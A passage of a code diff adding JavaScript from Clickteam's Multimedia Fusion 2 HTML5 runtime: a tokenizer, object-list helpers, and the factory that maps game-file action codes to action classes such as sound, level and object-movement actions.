+ var pObjectInfo = this.OiList[OiList];
+ return pObjectInfo.oilNumOfSelected;
+ }
+ },
+
+ objectIsOfType: function (obj, OiList)
+ {
+ if ((OiList & 0x8000) != 0)
+ {
+ OiList &= 0x7FFF; //Mask out the qualifier part
+ var CurrentQualToOi = this.QualToOiList[OiList];
+
+ var i = 0;
+ while (i < CurrentQualToOi.qoiList.length)
+ {
+ var CurrentOi = this.OiList[CurrentQualToOi.qoiList[i + 1]];
+ if (CurrentOi.oilOi == obj.hoOi)
+ return true;
+ i += 2;
+ }
+ return false;
+ }
+ return (obj.hoOi == this.OiList[OiList].oilOi);
+ },
+
+ //Returns the object-info structure from a given object-type
+ GetOILFromOI: function (Oi)
+ {
+ for (i = 0; i < this.run.rhMaxOI; ++i)
+ {
+ var oil = this.OiList[i];
+ if (oil.oilOi == Oi)
+ return oil;
+ }
+ return null;
+ }
+ }
+
+
+ // function decode_b64(d,b,c,u,r,q,x){b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(r=q=x='';c=d.charAt(x++);~c&&(u=q%4?u*64+c:c,q++%4)?r+=String.fromCharCode(255&u>>(-2*q&6)):0)c=b.indexOf(c);return r}
+ // function encode_b64(a,b,c,d,e,f){b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";c="=";for(d=f='';e&=3,a.charAt(d++)||(b='=',e);f+=b.charAt(63&c>>++e*2))c=c<<8|a.charCodeAt(d-=!e);return f}
+
+
+ //----------------------------------------------------------------------------------
+ //
+ // CTokenizer
+ //
+ //----------------------------------------------------------------------------------
+ function CTokenizer(text, delimiter) {
+ this.tokens = new CArrayList();
+
+ var oldPos = 0;
+ var pos = text.indexOf(delimiter);
+
+ // Special case: if delimiter = \n, then remove \r from end of tokens
+ if (delimiter.length == 1 && delimiter.charCodeAt(0) == 10) {
+ while (pos >= 0) {
+ if (pos > oldPos) {
+ var str = text.substring(oldPos, pos);
+ if (str.length > 0 && str.charCodeAt(str.length - 1) == 13)
+ str = str.substr(0, str.length - 1);
+ this.tokens.add(str);
+ }
+ oldPos = pos + delimiter.length;
+ pos = text.indexOf(delimiter, oldPos);
+ }
+
+ if (text.length > oldPos) {
+ var str = text.substring(oldPos, text.length);
+ if (str.length > 0 && str.charCodeAt(str.length - 1) == 13)
+ str = str.substr(0, str.length - 1);
+ this.tokens.add(str);
+ }
+ }
+ else {
+ while (pos >= 0) {
+ if (pos > oldPos) {
+ this.tokens.add(text.substring(oldPos, pos));
+ }
+ oldPos = pos + delimiter.length;
+ pos = text.indexOf(delimiter, oldPos);
+ }
+
+ if (text.length > oldPos) {
+ this.tokens.add(text.substring(oldPos, text.length));
+ }
+ }
+
+ this.numToken = 0;
+ }
+ CTokenizer.prototype =
+ {
+ countTokens: function () {
+ return this.tokens.size();
+ },
+ nextToken: function () {
+ if (this.numToken < this.tokens.size()) {
+ var s = this.tokens.get(this.numToken++);
+ if (s == null) {
+ return "";
+ }
+ return s;
+ }
+ return "";
+ }
+ }
+
+ // CAct object
+ // ----------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ CAct.ACTFLAGS_REPEAT = 0x0001;
+ CAct.ACT_EXTSETFRICTION = (68 << 8);
+ CAct.ACT_EXTSETELASTICITY = (69 << 8);
+ CAct.ACT_EXTAPPLYIMPULSE = (70 << 8);
+ CAct.ACT_EXTAPPLYANGULARIMPULSE = (71 << 8);
+ CAct.ACT_EXTAPPLYFORCE = (72 << 8);
+ CAct.ACT_EXTAPPLYTORQUE = (73 << 8);
+ CAct.ACT_EXTSETLINEARVELOCITY = (74 << 8);
+ CAct.ACT_EXTSETANGULARVELOCITY = (75 << 8);
+ CAct.ACT_EXTFOREACH = (76 << 8);
+ CAct.ACT_EXTFOREACH2 = (77 << 8);
+ CAct.ACT_EXTSTOPFORCE = (78 << 8);
+ CAct.ACT_EXTSTOPTORQUE = (79 << 8);
+ CAct.ACT_EXTSETDENSITY = (80 << 8);
+ CAct.ACT_EXTSETGRAVITYSCALE = (81 << 8);
+ CAct.ACT_STARTLOOP = ((14 << 16) | 0xFFFF);
+ CAct.create = function (app)
+ {
+ var bSetVarGConst = false;
+ var bAddVarGConst = false;
+ var bSubVarGConst = false;
+ var bExtSetVar = false;
+ var bExtAddVar = false;
+ var bExtSubVar = false;
+ var bExtSetFlag = false;
+ var bExtClrFlag = false;
+ var bExtChgFlag = false;
+
+ var debut = app.file.getFilePointer();
+
+ var size = app.file.readAShort()
+ var act = null;
+ var c = app.file.readAInt();
+ switch (c)
+ {
+ case ((0 << 16) | 0xFFFF):
+ act = new ACT_SKIP();
+ break;
+ case ((1 << 16) | 0xFFFF): // ACT_SKIPMONITOR
+ act = new ACT_SKIP();
+ break;
+ case ((3 << 16) | 0xFFFF):
+ act = new ACT_SETVARG();
+ break;
+ case ((4 << 16) | 0xFFFF):
+ act = new ACT_SUBVARG();
+ break;
+ case ((5 << 16) | 0xFFFF):
+ act = new ACT_ADDVARG();
+ break;
+ case ((6 << 16) | 0xFFFF):
+ act = new ACT_GRPACTIVATE();
+ break;
+ case ((7 << 16) | 0xFFFF):
+ act = new ACT_GRPDEACTIVATE();
+ break;
+ case ((14 << 16) | 0xFFFF):
+ act = new ACT_STARTLOOP();
+ break;
+ case ((15 << 16) | 0xFFFF):
+ act = new ACT_STOPLOOP();
+ break;
+ case ((16 << 16) | 0xFFFF):
+ act = new ACT_SETLOOPINDEX();
+ break;
+ case ((17 << 16) | 0xFFFF):
+ act = new ACT_RANDOMIZE();
+ break;
+ case ((19 << 16) | 0xFFFF):
+ act = new ACT_SETGLOBALSTRING();
+ break;
+ case ((23 << 16) | 0xFFFF):
+ act = new ACT_SKIP();
+ break;
+ case ((24 << 16) | 0xFFFF):
+ act = new ACT_SKIP();
+ break;
+ case ((27 << 16) | 0xFFFF):
+ act = new ACT_SETVARGCONST();
+ bSetVarGConst = true;
+ break;
+ case ((28 << 16) | 0xFFFF):
+ act = new ACT_SETVARG();
+ break;
+ case ((29 << 16) | 0xFFFF):
+ act = new ACT_SETVARGCONST();
+ bSetVarGConst = true;
+ break;
+ case ((30 << 16) | 0xFFFF):
+ act = new ACT_SETVARG();
+ break;
+ case ((31 << 16) | 0xFFFF):
+ act = new ACT_ADDVARGCONST();
+ bAddVarGConst = true;
+ break;
+ case ((32 << 16) | 0xFFFF):
+ act = new ACT_ADDVARG();
+ break;
+ case ((33 << 16) | 0xFFFF):
+ act = new ACT_ADDVARGCONST();
+ bAddVarGConst = true;
+ break;
+ case ((34 << 16) | 0xFFFF):
+ act = new ACT_ADDVARG();
+ break;
+ case ((35 << 16) | 0xFFFF):
+ act = new ACT_SUBVARGCONST();
+ bSubVarGConst = true;
+ break;
+ case ((36 << 16) | 0xFFFF):
+ act = new ACT_SUBVARG();
+ break;
+ case ((37 << 16) | 0xFFFF):
+ act = new ACT_SUBVARGCONST();
+ bSubVarGConst = true;
+ break;
+ case ((38 << 16) | 0xFFFF):
+ act = new ACT_SUBVARG();
+ break;
+ case ((0 << 16) | 0xFFFE):
+ act = new ACT_PLAYSAMPLE();
+ break;
+ case ((1 << 16) | 0xFFFE):
+ act = new ACT_STOPSAMPLE();
+ break;
+ case ((4 << 16) | 0xFFFE):
+ act = new ACT_PLAYLOOPSAMPLE();
+ break;
+ case ((6 << 16) | 0xFFFE):
+ act = new ACT_STOPSPESAMPLE();
+ break;
+ case ((7 << 16) | 0xFFFE):
+ act = new ACT_PAUSESAMPLE();
+ break;
+ case ((8 << 16) | 0xFFFE):
+ act = new ACT_RESUMESAMPLE();
+ break;
+ case ((11 << 16) | 0xFFFE):
+ act = new ACT_PLAYCHANNEL();
+ break;
+ case ((12 << 16) | 0xFFFE):
+ act = new ACT_PLAYLOOPCHANNEL();
+ break;
+ case ((13 << 16) | 0xFFFE):
+ act = new ACT_PAUSECHANNEL();
+ break;
+ case ((14 << 16) | 0xFFFE):
+ act = new ACT_RESUMECHANNEL();
+ break;
+ case ((15 << 16) | 0xFFFE):
+ act = new ACT_STOPCHANNEL();
+ break;
+ case ((16 << 16) | 0xFFFE):
+ act = new ACT_SETCHANNELPOS();
+ break;
+ case ((17 << 16) | 0xFFFE):
+ act = new ACT_SETCHANNELVOL();
+ break;
+ case ((18 << 16) | 0xFFFE): // SETCHANNELPAN
+ act = new ACT_SKIP();
+ break;
+ case ((19 << 16) | 0xFFFE):
+ act = new ACT_SETSAMPLEPOS();
+ break;
+ case ((20 << 16) | 0xFFFE):
+ act = new ACT_SETSAMPLEMAINVOL();
+ break;
+ case ((21 << 16) | 0xFFFE):
+ act = new ACT_SETSAMPLEVOL();
+ break;
+ case ((22 << 16) | 0xFFFE):
+ act = new ACT_SKIP();
+ break;
+ case ((23 << 16) | 0xFFFE):
+ act = new ACT_SKIP();
+ break;
+ case ((24 << 16) | 0xFFFE):
+ act = new ACT_PAUSEALLCHANNELS();
+ break;
+ case ((25 << 16) | 0xFFFE):
+ act = new ACT_RESUMEALLCHANNELS();
+ break;
+ case ((30 << 16) | 0xFFFE):
+ act = new ACT_LOCKCHANNEL();
+ break;
+ case ((31 << 16) | 0xFFFE):
+ act = new ACT_UNLOCKCHANNEL();
+ break;
+ case ((32 << 16) | 0xFFFE):
+ act = new ACT_SETCHANNELFREQ();
+ break;
+ case ((33 << 16) | 0xFFFE):
+ act = new ACT_SETSAMPLEFREQ();
+ break;
+ case ((0 << 16) | 0xFFFD):
+ act = new ACT_NEXTLEVEL();
+ break;
+ case ((1 << 16) | 0xFFFD):
+ act = new ACT_PREVLEVEL();
+ break;
+ case ((2 << 16) | 0xFFFD):
+ act = new ACT_GOLEVEL();
+ break;
+ case ((3 << 16) | 0xFFFD):
+ act = new ACT_PAUSEKEY();
+ break;
+ case ((4 << 16) | 0xFFFD):
+ act = new ACT_ENDGAME();
+ break;
+ case ((5 << 16) | 0xFFFD):
+ act = new ACT_RESTARTGAME();
+ break;
+ case ((6 << 16) | 0xFFFD):
+ act = new ACT_RESTARTLEVEL();
+ break;
+ case ((7 << 16) | 0xFFFD):
+ act = new ACT_CDISPLAY();
+ break;
+ case ((8 << 16) | 0xFFFD):
+ act = new ACT_CDISPLAYX();
+ break;
+ case ((9 << 16) | 0xFFFD):
+ act = new ACT_CDISPLAYY();
+ break;
+ case ((14 << 16) | 0xFFFD):
+ act = new ACT_FULLSCREENMODE();
+ break;
+ case ((15 << 16) | 0xFFFD):
+ act = new ACT_WINDOWEDMODE();
+ break;
+ case ((16 << 16) | 0xFFFD):
+ act = new ACT_SETFRAMERATE();
+ break;
+ case ((17 << 16) | 0xFFFD):
+ act = new ACT_PAUSEKEY();
+ break;
+ case ((18 << 16) | 0xFFFD):
+ act = new ACT_PAUSEANYKEY();
+ break;
+ case ((19 << 16) | 0xFFFD):
+ act = new ACT_SETVSYNCON();
+ break;
+ case ((20 << 16) | 0xFFFD):
+ act = new ACT_SETVSYNCOFF();
+ break;
+ case ((21 << 16) | 0xFFFD):
+ act = new ACT_SETVIRTUALWIDTH();
+ break;
+ case ((22 << 16) | 0xFFFD):
+ act = new ACT_SETVIRTUALHEIGHT();
+ break;
+ case ((23 << 16) | 0xFFFD):
+ act = new ACT_SETFRAMEBDKCOLOR();
+ break;
+ case ((24 << 16) | 0xFFFD):
+ act = new ACT_DELCREATEDBKDAT();
+ break;
+ case ((25 << 16) | 0xFFFD):
+ act = new ACT_DELALLCREATEDBKD();
+ break;
+ case ((26 << 16) | 0xFFFD):
+ act = new ACT_SETFRAMEWIDTH();
+ break;
+ case ((27 << 16) | 0xFFFD):
+ act = new ACT_SETFRAMEHEIGHT();
+ break;
+ case ((31 << 16) | 0xFFFD):
+ act = new ACT_PLAYDEMO();
+ break;
+ case ((32 << 16) | 0xFFFD): // ACT_SETFRAMEEFFECT
+ act = new ACT_SKIP();
+ break;
+ case ((33 << 16) | 0xFFFD):
+ act = new ACT_SKIP();
+ break;
+ case ((34 << 16) | 0xFFFD):
+ act = new ACT_SKIP();
+ break;
+ case ((35 << 16) | 0xFFFD): // ACT_SETFRAMEALPHACOEF
+ act = new ACT_SKIP();
+ break;
+ case ((36 << 16) | 0xFFFD): // ACT_SETFRAMERGBCOEF
+ act = new ACT_SKIP();
+ break;
+ case ((0 << 16) | 0xFFFC):
+ act = new ACT_SETTIMER();
+ break;
+ case ((1 << 16) | 0xFFFC):
+ act = new ACT_EVENTAFTER();
+ break;
+ case ((2 << 16) | 0xFFFC):
+ act = new ACT_NEVENTSAFTER();
+ break;
+ case ((0 << 16) | 0xFFFA):
+ act = new ACT_HIDECURSOR();
+ break;
+ case ((1 << 16) | 0xFFFA):
+ act = new ACT_SHOWCURSOR();
+ break;
+ case ((0 << 16) | 0xFFF9):
+ act = new ACT_SETSCORE();
+ break;
+ case ((1 << 16) | 0xFFF9):
+ act = new ACT_SETLIVES();
+ break;
+ case ((2 << 16) | 0xFFF9):
+ act = new ACT_NOINPUT();
+ break;
+ case ((3 << 16) | 0xFFF9):
+ act = new ACT_RESTINPUT();
+ break;
+ case ((4 << 16) | 0xFFF9):
+ act = new ACT_ADDSCORE();
+ break;
+ case ((5 << 16) | 0xFFF9):
+ act = new ACT_ADDLIVES();
+ break;
+ case ((6 << 16) | 0xFFF9):
+ act = new ACT_SUBSCORE();
+ break;
+ case ((7 << 16) | 0xFFF9):
+ act = new ACT_SUBLIVES();
+ break;
+ case ((8 << 16) | 0xFFF9):
+ act = new ACT_SETINPUT();
+ break;
+ case ((9 << 16) | 0xFFF9):
+ act = new ACT_SETINPUTKEY();
+ break;
+ case ((10 << 16) | 0xFFF9):
+ act = new ACT_SETPLAYERNAME();
+ break;
+ case ((0 << 16) | 0xFFFB):
+ act = new ACT_CREATE();
+ break;
+ case ((1 << 16) | 0xFFFB):
+ act = new ACT_CREATEBYNAME();
+ break;
+ case (((80 + 0) << 16) | 3):
+ act = new ACT_STRDESTROY();
+ break;
+ case (( (80 + 1) << 16) | 3):
+ act = new ACT_STRDISPLAY();
+ break;
+ case (( (80 + 2) << 16) | 3):
+ act = new ACT_STRDISPLAYDURING();
+ break;
+ case (( (80 + 3) << 16) | 3):
+ act = new ACT_STRSETCOLOUR();
+ break;
+ case (( (80 + 4) << 16) | 3):
+ act = new ACT_STRSET();
+ break;
+ case (( (80 + 5) << 16) | 3):
+ act = new ACT_STRPREV();
+ break;
+ case (( (80 + 6) << 16) | 3):
+ act = new ACT_STRNEXT();
+ break;
+ case (( (80 + 7) << 16) | 3):
+ act = new ACT_STRDISPLAYSTRING();
+ break;
+ case (( (80 + 8) << 16) | 3):
+ act = new ACT_STRSETSTRING();
+ break;
+ case (((80 + 0) << 16) | 2):
+ act = new ACT_SPRPASTE();
+ break;
+ case (((80 + 1) << 16) | 2):
+ act = new ACT_SPRFRONT();
+ break;
+ case (((80 + 2) << 16) | 2):
+ act = new ACT_SPRBACK();
+ break;
+ case (((80 + 3) << 16) | 2):
+ act = new ACT_SPRADDBKD();
+ break;
+ case (((80 + 4) << 16) | 2):
+ act = new ACT_SPRREPLACECOLOR();
+ break;
+ case (((80 + 5) << 16) | 2):
+ act = new ACT_SPRSETSCALE();
+ break;
+ case (((80 + 6) << 16) | 2):
+ act = new ACT_SPRSETSCALEX();
+ break;
+ case (((80 + 7) << 16) | 2):
+ act = new ACT_SPRSETSCALEY();
+ break;
+ case (((80 + 8) << 16) | 2):
+ act = new ACT_SPRSETANGLE();
+ break;
+ case (( (80 + 0) << 16) | 7):
+ act = new ACT_CSETVALUE();
+ break;
+ case (( (80 + 1) << 16) | 7):
+ act = new ACT_CADDVALUE();
+ break;
+ case (( (80 + 2) << 16) | 7):
+ act = new ACT_CSUBVALUE();
+ break;
+ case (( (80 + 3) << 16) | 7):
+ act = new ACT_CSETMIN();
+ break;
+ case (( (80 + 4) << 16) | 7):
+ act = new ACT_CSETMAX();
+ break;
+ case (( (80 + 5) << 16) | 7):
+ act = new ACT_CSETCOLOR1();
+ break;
+ case (( (80 + 6) << 16) | 7):
+ act = new ACT_CSETCOLOR2();
+ break;
+ case (( (80 + 0) << 16) | 4):
+ act = new ACT_QASK();
+ break;
+ case (((80 + 0) << 16) | 9):
+ act = new ACT_CCARESTARTAPP();
+ break;
+ case (((80 + 1) << 16) | 9):
+ act = new ACT_CCARESTARTFRAME();
+ break;
+ case (((80 + 2) << 16) | 9):
+ act = new ACT_CCANEXTFRAME();
+ break;
+ case (((80 + 3) << 16) | 9):
+ act = new ACT_CCAPREVIOUSFRAME();
+ break;
+ case (((80 + 4) << 16) | 9):
+ act = new ACT_CCAENDAPP();
+ break;
+ case (((80 + 6) << 16) | 9):
+ act = new ACT_CCAJUMPFRAME();
+ break;
+ case (((80 + 7) << 16) | 9):
+ act = new ACT_CCASETGLOBALVALUE();
+ break;
+ case (((80 + 8) << 16) | 9):
+ act = new ACT_CCASHOW();
+ break;
+ case (((80 + 9) << 16) | 9):
+ act = new ACT_CCAHIDE();
+ break;
+ case (((80 + 10) << 16) | 9):
+ act = new ACT_CCASETGLOBALSTRING();
+ break;
+ case (((80 + 11) << 16) | 9):
+ act = new ACT_CCAPAUSEAPP();
+ break;
+ case (((80 + 12) << 16) | 9):
+ act = new ACT_CCARESUMEAPP();
+ break;
+ case (((80 + 13) << 16) | 9):
+ act = new ACT_CCASETWIDTH();
+ break;
+ case (((80 + 14) << 16) | 9):
+ act = new ACT_CCASETHEIGHT();
+ break;
+
+ // Actions pour les objets extensions
+ default:
+ {
+ switch (c & 0xFFFF0000)
+ {
+ case (1 << 16):
+ act = new ACT_EXTSETPOS();
+ break;
+ case (2 << 16):
+ act = new ACT_EXTSETX();
+ break;
+ case (3 << 16):
+ act = new ACT_EXTSETY();
+ break;
+ case (4 << 16):
+ act = new ACT_EXTSTOP();
+ break;
+ case (5 << 16):
+ act = new ACT_EXTSTART();
+ break;
+ case (6 << 16):
+ act = new ACT_EXTSPEED();
+ break;
+ case (7 << 16):
+ act = new ACT_EXTMAXSPEED();
+ break;
+ case (8 << 16):
+ act = new ACT_EXTWRAP();
+ break;
+ case (9 << 16):
+ act = new ACT_EXTBOUNCE();
+ break;
+ case (10 << 16):
+ act = new ACT_EXTREVERSE();
+ break;
+ case (11 << 16):
+ act = new ACT_EXTNEXTMOVE();
+ break;
+ case (12 << 16):
+ act = new ACT_EXTPREVMOVE();
+ break;
+ case (13 << 16):
+ act = new ACT_EXTSELMOVE();
+ break;
+ case (14 << 16):
+ act = new ACT_EXTLOOKAT();
+ break;
+ case (15 << 16):
+ act = new ACT_EXTSTOPANIM();
+ break;
+ case (16 << 16):
+ act = new ACT_EXTSTARTANIM();
+ break;
+ case (17 << 16):
+ act = new ACT_EXTFORCEANIM();
+ break;
+ case (18 << 16):
+ act = new ACT_EXTFORCEDIR();
+ break;
+ case (19 << 16):
+ act = new ACT_EXTFORCESPEED();
+ break;
+ case (20 << 16):
+ act = new ACT_EXTRESTANIM();
+ break;
+ case (21 << 16):
+ act = new ACT_EXTRESTDIR();
+ break;
+ case (22 << 16):
+ act = new ACT_EXTRESTSPEED();
+ break;
+ case (23 << 16):
+ act = new ACT_EXTSETDIR();
+ break;
+ case (24 << 16):
+ act = new ACT_EXTDESTROY();
+ break;
+ case (25 << 16):
+ act = new ACT_EXTSHUFFLE();
+ break;
+ case (26 << 16):
+ act = new ACT_EXTHIDE();
+ break;
+ case (27 << 16):
+ act = new ACT_EXTSHOW();
+ break;
+ case (28 << 16):
+ act = new ACT_EXTDISPLAYDURING();
+ break;
+ case (29 << 16):
+ act = new ACT_EXTSHOOT();
+ break;
+ case (30 << 16):
+ act = new ACT_EXTSHOOTTOWARD();
+ break;
+ case (31 << 16):
+ act = new ACT_EXTSETVAR();
+ bExtSetVar = true;
+ break;
+ case (32 << 16):
+ act = new ACT_EXTADDVAR();
+ bExtAddVar = true;
+ break;
+ case (33 << 16):
+ act = new ACT_EXTSUBVAR();
+ bExtSubVar = true;
+ break;
+ case (34 << 16):
+ act = new ACT_EXTDISPATCHVAR();
+ break;
+ case (35 << 16):
+ act = new ACT_EXTSETFLAG();
+ bExtSetFlag = true;
+ break;
+ case (36 << 16):
+ act = new ACT_EXTCLRFLAG();
+ bExtClrFlag = true;
+ break;
+ case (37 << 16):
+ act = new ACT_EXTCHGFLAG();
+ bExtChgFlag = true;
+ break;
+ case (38 << 16):
+ act = new ACT_EXTINKEFFECT();
+ break;
+ case (39 << 16):
+ act = new ACT_EXTSETSEMITRANSPARENCY();
+ break;
+ case (40 << 16):
+ act = new ACT_EXTFORCEFRAME();
+ break;
+ case (41 << 16):
+ act = new ACT_EXTRESTFRAME();
+ break;
+ case (42 << 16):
+ act = new ACT_EXTSETACCELERATION();
+ break;
+ case (43 << 16):
+ act = new ACT_EXTSETDECELERATION();
+ break;
+ case (44 << 16):
+ act = new ACT_EXTSETROTATINGSPEED();
+ break;
+ case (45 << 16):
+ act = new ACT_EXTSETDIRECTIONS();
+ break;
+ case (46 << 16):
+ act = new ACT_EXTBRANCHNODE();
+ break;
+ case (47 << 16):
+ act = new ACT_EXTSETGRAVITY();
+ break;
+ case (48 << 16):
+ act = new ACT_EXTGOTONODE();
+ break;
+ case (49 << 16):
+ act = new ACT_EXTSETVARSTRING();
+ break;
+ case (50 << 16):
+ act = new ACT_EXTSETFONTNAME();
+ break;
+ case (51 << 16):
+ act = new ACT_EXTSETFONTSIZE();
+ break;
+ case (52 << 16):
+ act = new ACT_EXTSETBOLD();
+ break;
+ case (53 << 16):
+ act = new ACT_EXTSETITALIC();
+ break;
+ case (54 << 16):
+ act = new ACT_EXTSETUNDERLINE();
+ break;
+ case (55 << 16):
+ act = new ACT_SKIP();
+ break;
+ case (56 << 16):
+ act = new ACT_EXTSETTEXTCOLOR();
+ break;
+ case (57 << 16):
+ act = new ACT_EXTSPRFRONT();
+ break;
+ case (58 << 16):
+ act = new ACT_EXTSPRBACK();
+ break;
+ case (59 << 16):
+ act = new ACT_EXTMOVEBEFORE();
+ break;
+ case (60 << 16):
+ act = new ACT_EXTMOVEAFTER();
+ break;
+ case (61 << 16):
+ act = new ACT_EXTMOVETOLAYER();
+ break;
+ case (62 << 16): // ACT_EXTADDTODEBUGGER
+ act = new ACT_SKIP();
+ break;
+ case (63 << 16):
+ act = new ACT_EXTSETEFFECT();
+ break;
+ case (64 << 16): // ACT_EXTSETEFFECTPARAM
+ act = new ACT_SKIP();
+ break;
+ case (65 << 16):
+ act = new ACT_EXTSETALPHACOEF();
+ break;
+ case (66 << 16):
+ act = new ACT_EXTSETRGBCOEF();
+ break;
+ case (67 << 16): // ACT_EXTSETEFFECTPARAMTEXTURE
+ act = new ACT_SKIP();
+ break;
+ case (68 << 16):
+ act = new ACT_EXTSETFRICTION();
+ break;
+ case (69 << 16):
+ act = new ACT_EXTSETELASTICITY();
+ break;
+ case (70 << 16):
+ act = new ACT_EXTAPPLYIMPULSE();
+ break;
+ case (71 << 16):
+ act = new ACT_EXTAPPLYANGULARIMPULSE();
+ break;
+ case (72 << 16):
+ act = new ACT_EXTAPPLYFORCE();
+ break;
+ case (73 << 16):
+ act = new ACT_EXTAPPLYTORQUE();
+ break;
+ case (74 << 16):
+ act = new ACT_EXTSETLINEARVELOCITY();
+ break;
+ case (75 << 16):
+ act = new ACT_EXTSETANGULARVELOCITY();
+ break;
+ case (76 << 16):
+ act = new ACT_EXTFOREACH();
+ break;
+ case (77 << 16):
+ act = new ACT_EXTFOREACH2();
+ break;
+ case (78 << 16):
+ act = new ACT_EXTSTOPFORCE();
+ break;
+ case (79 << 16):
+ act = new ACT_EXTSTOPTORQUE();
+ break;
+ default:
+ act = new CActExtension();
+ break;
+ }
+ }
+ }
+
+ if (act != null)
+ {
+ act.evtCode = c;
+ act.evtOi = app.file.readShort();
+ act.evtOiList = app.file.readShort();
+ act.evtFlags = app.file.readAByte();
+ act.evtFlags2 = app.file.readAByte();
+ act.evtNParams = app.file.readAByte();
+ act.evtDefType = app.file.readAByte();
+
+ if (act.evtNParams > 0)
+ {
+ act.evtParams = new Array(act.evtNParams);
+ var n;
+ for (n = 0; n < act.evtNParams; n++)
+ {
+ act.evtParams[n] = CParam.create(app);
+ }
+ }
+
+ // Optimization of operations on global values for constant values
+ if (bSetVarGConst || bAddVarGConst || bSubVarGConst)
+ {
+ var pParam = act.evtParams[0];
+ act.num = pParam.value;
+
+ var pExp1 = act.evtParams[1];
+ act.value = pExp1.tokens[0].value;
+ }
+
+ // Optimization of operations on alterable values for constant values
+ if (bExtSetVar || bExtAddVar || bExtSubVar) {
+ var newAct = null;
+ var pParam = act.evtParams[0];
+ if (pParam.code != 53) {
+ // Value number = constant
+ var num = pParam.value;
+
+ // Parameter = simple constant?
+ var pExp1 = act.evtParams[1];
+ if (num >= 0 && pExp1.tokens.length == 2 && (pExp1.tokens[1].code <= 0 || pExp1.tokens[1].code >= 0x00140000)) {
+ // INT
+ if (pExp1.tokens[0].code == ((0 << 16) | 65535) || pExp1.tokens[0].code == ((23 << 16) | 65535)) {
+ if (bExtSetVar) {
+ newAct = new ACT_EXTSETVARCONST();
+ newAct.num = num;
+ newAct.value = pExp1.tokens[0].value;
+ }
+ else if (bExtAddVar) {
+ newAct = new ACT_EXTADDVARCONST();
+ newAct.num = num;
+ newAct.value = pExp1.tokens[0].value;
+ }
+ else if (bExtSubVar) {
+ newAct = new ACT_EXTSUBVARCONST();
+ newAct.num = num;
+ newAct.value = pExp1.tokens[0].value;
+ }
+ }
+ }
+ if (newAct != null) {
+ newAct.evtCode = act.evtCode;
+ newAct.evtOi = act.evtOi;
+ newAct.evtOiList = act.evtOiList;
+ newAct.evtFlags = act.evtFlags;
+ newAct.evtFlags2 = act.evtFlags2;
+ newAct.evtNParams = act.evtNParams;
+ newAct.evtDefType = act.evtDefType;
+ newAct.evtParams = act.evtParams;
+
+ act = newAct;
+ }
+ }
+ }
+
+ // Optimization of operations on alterable flags for constant flag numbers
+ if (bExtSetFlag || bExtClrFlag || bExtChgFlag) {
+ var newAct = null;
+
+ // Flag number = simple constant?
+ var pExp = act.evtParams[0];
+ if (pExp.tokens.length == 2 && (pExp.tokens[1].code <= 0 || pExp.tokens[1].code >= 0x00140000) && pExp.tokens[0].code == ((0 << 16) | 65535)) {
+ if (bExtSetFlag) {
+ newAct = new ACT_EXTSETFLAGCONST();
+ newAct.mask = (1 << pExp.tokens[0].value);
+ }
+ else if (bExtClrFlag) {
+ newAct = new ACT_EXTCLRFLAGCONST();
+ newAct.mask = (1 << pExp.tokens[0].value);
+ }
+ else if (bExtChgFlag) {
+ newAct = new ACT_EXTCHGFLAGCONST();
+ newAct.mask = (1 << pExp.tokens[0].value);
+ }
+ }
+ if (newAct != null) {
+ newAct.evtCode = act.evtCode;
+ newAct.evtOi = act.evtOi;
+ newAct.evtOiList = act.evtOiList;
+ newAct.evtFlags = act.evtFlags;
+ newAct.evtFlags2 = act.evtFlags2;
+ newAct.evtNParams = act.evtNParams;
+ newAct.evtDefType = act.evtDefType;
+ newAct.evtParams = act.evtParams;
+
+ act = newAct;
+ }
+ }
+ }
+ app.file.seek(debut + size);
+ return act;
+ }
+ function CAct()
+ {
+ }
+
+ CLoop.FLFLAG_STOP = 0x0001;
+ function CLoop()
+ {
+ this.flags = 0;
+ this.name = null;
+ this.index = 0;
+ }
+
+ function ACT_SKIP()
+ {
+ }
+ ACT_SKIP.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ }
+ }
+ // CUT
+
+ // System object
+ // ------------------------------------------------------------------
+ function ACT_ADDVARG()
+ {
+ }
+ ACT_ADDVARG.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var num;
+ if (this.evtParams[0].code == 52)
+ num = (rhPtr.get_EventExpressionInt(this.evtParams[0]) - 1);
+ else
+ num = this.evtParams[0].value;
+ var value = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ rhPtr.rhApp.addGlobalValueAt(num, value);
+ }
+ }
+ // -- CUT
+
+ function ACT_ADDVARGCONST()
+ {
+ }
+ ACT_ADDVARGCONST.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ rhPtr.rhApp.addGlobalValueAt(this.num, this.value);
+ }
+ }
+ // CUT
+
+ function ACT_GRPACTIVATE()
+ {
+ }
+ ACT_GRPACTIVATE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ var evg = p.pointer;
+ var evgPtr = rhPtr.rhEvtProg.events[evg];
+ var evtPtr = evgPtr.evgEvents[0];
+
+ var grpPtr = evtPtr.evtParams[0];
+ var bFlag = (grpPtr.grpFlags & PARAM_GROUP.GRPFLAGS_GROUPINACTIVE) != 0;
+ grpPtr.grpFlags &= ~PARAM_GROUP.GRPFLAGS_GROUPINACTIVE;
+
+ if (bFlag)
